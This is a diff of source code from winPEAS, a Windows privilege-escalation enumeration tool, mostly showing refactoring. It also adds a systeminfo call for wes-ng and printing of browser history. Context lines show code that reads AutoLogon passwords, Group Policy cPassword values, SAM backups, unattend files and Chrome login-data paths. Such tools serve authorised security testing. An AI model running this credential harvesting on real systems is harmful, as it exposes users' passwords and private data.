MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
||||
|
||||
// Read and parse the UDP records from the table and store them in list
|
||||
// 'UdpConnection' structure type objects.
|
||||
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
||||
{
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
udpTableRecords.Add(new UdpConnectionInfo(
|
||||
Protocol.UDP,
|
||||
new IPAddress(udpRow.localAddr),
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDP6TABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
public MIB_UDP6ROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDPTABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
public MIB_UDPROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Helpers;
|
||||
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
Proc = p,
|
||||
Pth = (string)mo["ExecutablePath"],
|
||||
CommLine = (string)mo["CommandLine"],
|
||||
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||
Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||
};
|
||||
|
||||
foreach (var itm in queRy)
|
||||
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
|
||||
}
|
||||
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
||||
to_add["Name"] = itm.Proc.ProcessName;
|
||||
to_add["ProcessID"] = itm.Proc.Id.ToString();
|
||||
to_add["ExecutablePath"] = itm.Pth;
|
||||
to_add["Product"] = companyName;
|
||||
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner;
|
||||
to_add["isDotNet"] = isDotNet;
|
||||
to_add["CommandLine"] = itm.CommLine;
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = itm.Proc.ProcessName,
|
||||
["ProcessID"] = itm.Proc.Id.ToString(),
|
||||
["ExecutablePath"] = itm.Pth,
|
||||
["Product"] = companyName,
|
||||
["Owner"] = itm.Owner == null ? "" : itm.Owner,
|
||||
["isDotNet"] = isDotNet,
|
||||
["CommandLine"] = itm.CommLine
|
||||
};
|
||||
f_results.Add(to_add);
|
||||
}
|
||||
}
|
||||
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
|
||||
|
||||
string hName = HandlesHelper.GetObjectName(dupHandle);
|
||||
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
||||
to_add["Handle Name"] = hName;
|
||||
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")";
|
||||
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName;
|
||||
to_add["Reason"] = handlerExp.reason;
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Handle Name"] = hName,
|
||||
["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
|
||||
["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
|
||||
["Reason"] = handlerExp.reason
|
||||
};
|
||||
|
||||
if (typeName == "process" || typeName == "thread")
|
||||
{
|
||||
@@ -208,7 +211,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
else if (typeName == "key")
|
||||
{
|
||||
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0)
|
||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
|
||||
continue;
|
||||
|
||||
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.ServiceProcess;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ServicesInfo
|
||||
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
|
||||
|
||||
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>();
|
||||
|
||||
toadd["Name"] = GetStringOrEmpty(result["Name"]);
|
||||
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]);
|
||||
toadd["CompanyName"] = companyName;
|
||||
toadd["State"] = GetStringOrEmpty(result["State"]);
|
||||
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]);
|
||||
toadd["PathName"] = GetStringOrEmpty(result["PathName"]);
|
||||
toadd["FilteredPath"] = binaryPath;
|
||||
toadd["isDotNet"] = isDotNet;
|
||||
toadd["Description"] = GetStringOrEmpty(result["Description"]);
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = GetStringOrEmpty(result["Name"]),
|
||||
["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
|
||||
["CompanyName"] = companyName,
|
||||
["State"] = GetStringOrEmpty(result["State"]),
|
||||
["StartMode"] = GetStringOrEmpty(result["StartMode"]),
|
||||
["PathName"] = GetStringOrEmpty(result["PathName"]),
|
||||
["FilteredPath"] = binaryPath,
|
||||
["isDotNet"] = isDotNet,
|
||||
["Description"] = GetStringOrEmpty(result["Description"])
|
||||
};
|
||||
|
||||
results.Add(toadd);
|
||||
}
|
||||
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
if (permissions.Count > 0)
|
||||
{
|
||||
string perms = String.Join(", ", permissions);
|
||||
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
results.Add(sc.ServiceName, perms);
|
||||
}
|
||||
|
||||
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
|
||||
/////// Find Write reg. Services ////////
|
||||
//////////////////////////////////////////
|
||||
/// Find Services which Reg you have write or equivalent access
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames)
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
|
||||
{
|
||||
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>();
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32;
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -3,7 +3,6 @@ using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using winPEAS.Native;
|
||||
using System.Security.Principal;
|
||||
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
{
|
||||
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
||||
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
||||
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
|
||||
currentUserPerms = string.Join(", ", currentUserPermsList);
|
||||
}
|
||||
catch
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
@@ -7,9 +8,10 @@ using System.Management;
|
||||
using System.Net;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Windows.Forms;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.KnownFileCreds;
|
||||
|
||||
|
||||
namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
@@ -50,6 +52,60 @@ namespace winPEAS.Info.SystemInfo
|
||||
public static Dictionary<string, string> GetBasicOSInfo()
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
|
||||
// Systeminfo from cmd to be able to use wes-ng
|
||||
///////////////////////////////////////////////
|
||||
|
||||
Process process = new Process();
|
||||
|
||||
// Configure the process to run the systeminfo command
|
||||
process.StartInfo.FileName = "systeminfo.exe";
|
||||
process.StartInfo.UseShellExecute = false;
|
||||
process.StartInfo.RedirectStandardOutput = true;
|
||||
|
||||
// Start the process
|
||||
process.Start();
|
||||
|
||||
// Read the output of the command
|
||||
string output = process.StandardOutput.ReadToEnd();
|
||||
|
||||
// Wait for the command to finish
|
||||
process.WaitForExit();
|
||||
|
||||
|
||||
// Split the output by newline characters
|
||||
string[] lines = output.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
string osname = @".*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*";
|
||||
string osversion = @".*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+) )?[ -\xa5]+ (\d+).*";
|
||||
// Iterate over each line and add key-value pairs to the dictionary
|
||||
foreach (string line in lines)
|
||||
{
|
||||
int index = line.IndexOf(':');
|
||||
if (index != -1)
|
||||
{
|
||||
string key = line.Substring(0, index).Trim();
|
||||
string value = line.Substring(index + 1).Trim();
|
||||
if (Regex.IsMatch(value, osname, RegexOptions.IgnoreCase))
|
||||
{
|
||||
results["OS Name"] = value;
|
||||
}
|
||||
//I have to find a better way. Maybe use regex from wes-ng
|
||||
if (Regex.IsMatch(value, osversion, RegexOptions.IgnoreCase))
|
||||
{
|
||||
results["OS Version"] = value;
|
||||
}
|
||||
|
||||
if (value.Contains("based PC"))
|
||||
{
|
||||
results["System Type"] = value;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// ENDING Systeminfo from cmd to be able to use wes-ng
|
||||
///////////////////////////////////////////////
|
||||
try
|
||||
{
|
||||
string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
@@ -17,7 +15,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||
{
|
||||
PathExclusions = new List<string>();
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
if (pathExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in pathExclusionData)
|
||||
|
||||
@@ -1,10 +1,4 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
class WindowsDefenderSettingsInfo
|
||||
{
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Classes;
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Info.UserInfo
|
||||
|
||||
@@ -3,7 +3,6 @@ using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
|
||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
|
||||
Marshal.FreeHGlobal(luidPointer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@ using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
|
||||
@@ -6,7 +6,6 @@ using System.Windows.Forms;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.UserInfo.SAM;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -251,14 +250,15 @@ namespace winPEAS.Info.UserInfo
|
||||
|
||||
public static Dictionary<string, string> GetAutoLogon()
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
|
||||
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName");
|
||||
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName");
|
||||
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword");
|
||||
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName");
|
||||
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName");
|
||||
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword");
|
||||
Dictionary<string, string> results = new Dictionary<string, string>
|
||||
{
|
||||
["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
|
||||
["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
|
||||
["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
|
||||
["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
|
||||
["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
|
||||
["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
|
||||
};
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
|
||||
if (!allUsers.Contains("ProgramData"))
|
||||
{
|
||||
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
|
||||
Changed = "[BLANK]";
|
||||
}
|
||||
|
||||
results[file] = new Dictionary<string, string>();
|
||||
results[file]["UserName"] = UserName;
|
||||
results[file]["NewName"] = NewName;
|
||||
results[file]["cPassword"] = cPassword;
|
||||
results[file]["Changed"] = Changed;
|
||||
results[file] = new Dictionary<string, string>
|
||||
{
|
||||
["UserName"] = UserName,
|
||||
["NewName"] = NewName,
|
||||
["cPassword"] = cPassword,
|
||||
["Changed"] = Changed
|
||||
};
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
|
||||
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation)));
|
||||
results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
|
||||
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
||||
int lastDays = 30;
|
||||
|
||||
var startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
// Shell COM object GUID
|
||||
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
||||
|
||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
var winDir = System.Environment.GetEnvironmentVariable("windir");
|
||||
var winDir = Environment.GetEnvironmentVariable("windir");
|
||||
string[] searchLocations =
|
||||
{
|
||||
$"{winDir}\\sysprep\\sysprep.xml",
|
||||
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
|
||||
$"{winDir}\\..\\unattend.inf",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(System.IO.File.Exists));
|
||||
results.AddRange(searchLocations.Where(File.Exists));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS.Checks;
|
||||
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
||||
Dictionary<string, string> chromeDBs = GetChromeDbs();
|
||||
|
||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||
{
|
||||
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
||||
Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||
|
||||
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
else
|
||||
{
|
||||
string userChromeCookiesPath =
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
if (File.Exists(userChromeCookiesPath))
|
||||
{
|
||||
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
||||
}
|
||||
|
||||
string userChromeLoginDataPath =
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
if (File.Exists(userChromeLoginDataPath))
|
||||
{
|
||||
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
||||
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
List<string> results = new List<string>();
|
||||
|
||||
// parses a Chrome history file via regex
|
||||
if (System.IO.File.Exists(path))
|
||||
if (File.Exists(path))
|
||||
{
|
||||
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||
|
||||
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
}
|
||||
else
|
||||
{
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
||||
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
||||
}
|
||||
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
try
|
||||
{
|
||||
string contents = System.IO.File.ReadAllText(path);
|
||||
string contents = File.ReadAllText(path);
|
||||
|
||||
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||
JavaScriptSerializer json = new JavaScriptSerializer();
|
||||
|
||||
@@ -1,10 +1,4 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
class FFLogins
|
||||
{
|
||||
|
||||
@@ -4,11 +4,11 @@ using System.Data;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds.Browsers.Models;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
||||
List<string> firefoxDBs = GetFirefoxDbs();
|
||||
if (firefoxDBs.Count > 0)
|
||||
{
|
||||
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
||||
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
||||
if (firefoxHist.Count > 0)
|
||||
List<string> history = GetFirefoxHistory();
|
||||
if (history.Count > 0)
|
||||
{
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
foreach (string url in firefoxHist)
|
||||
foreach (string url in history)
|
||||
{
|
||||
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
||||
{
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
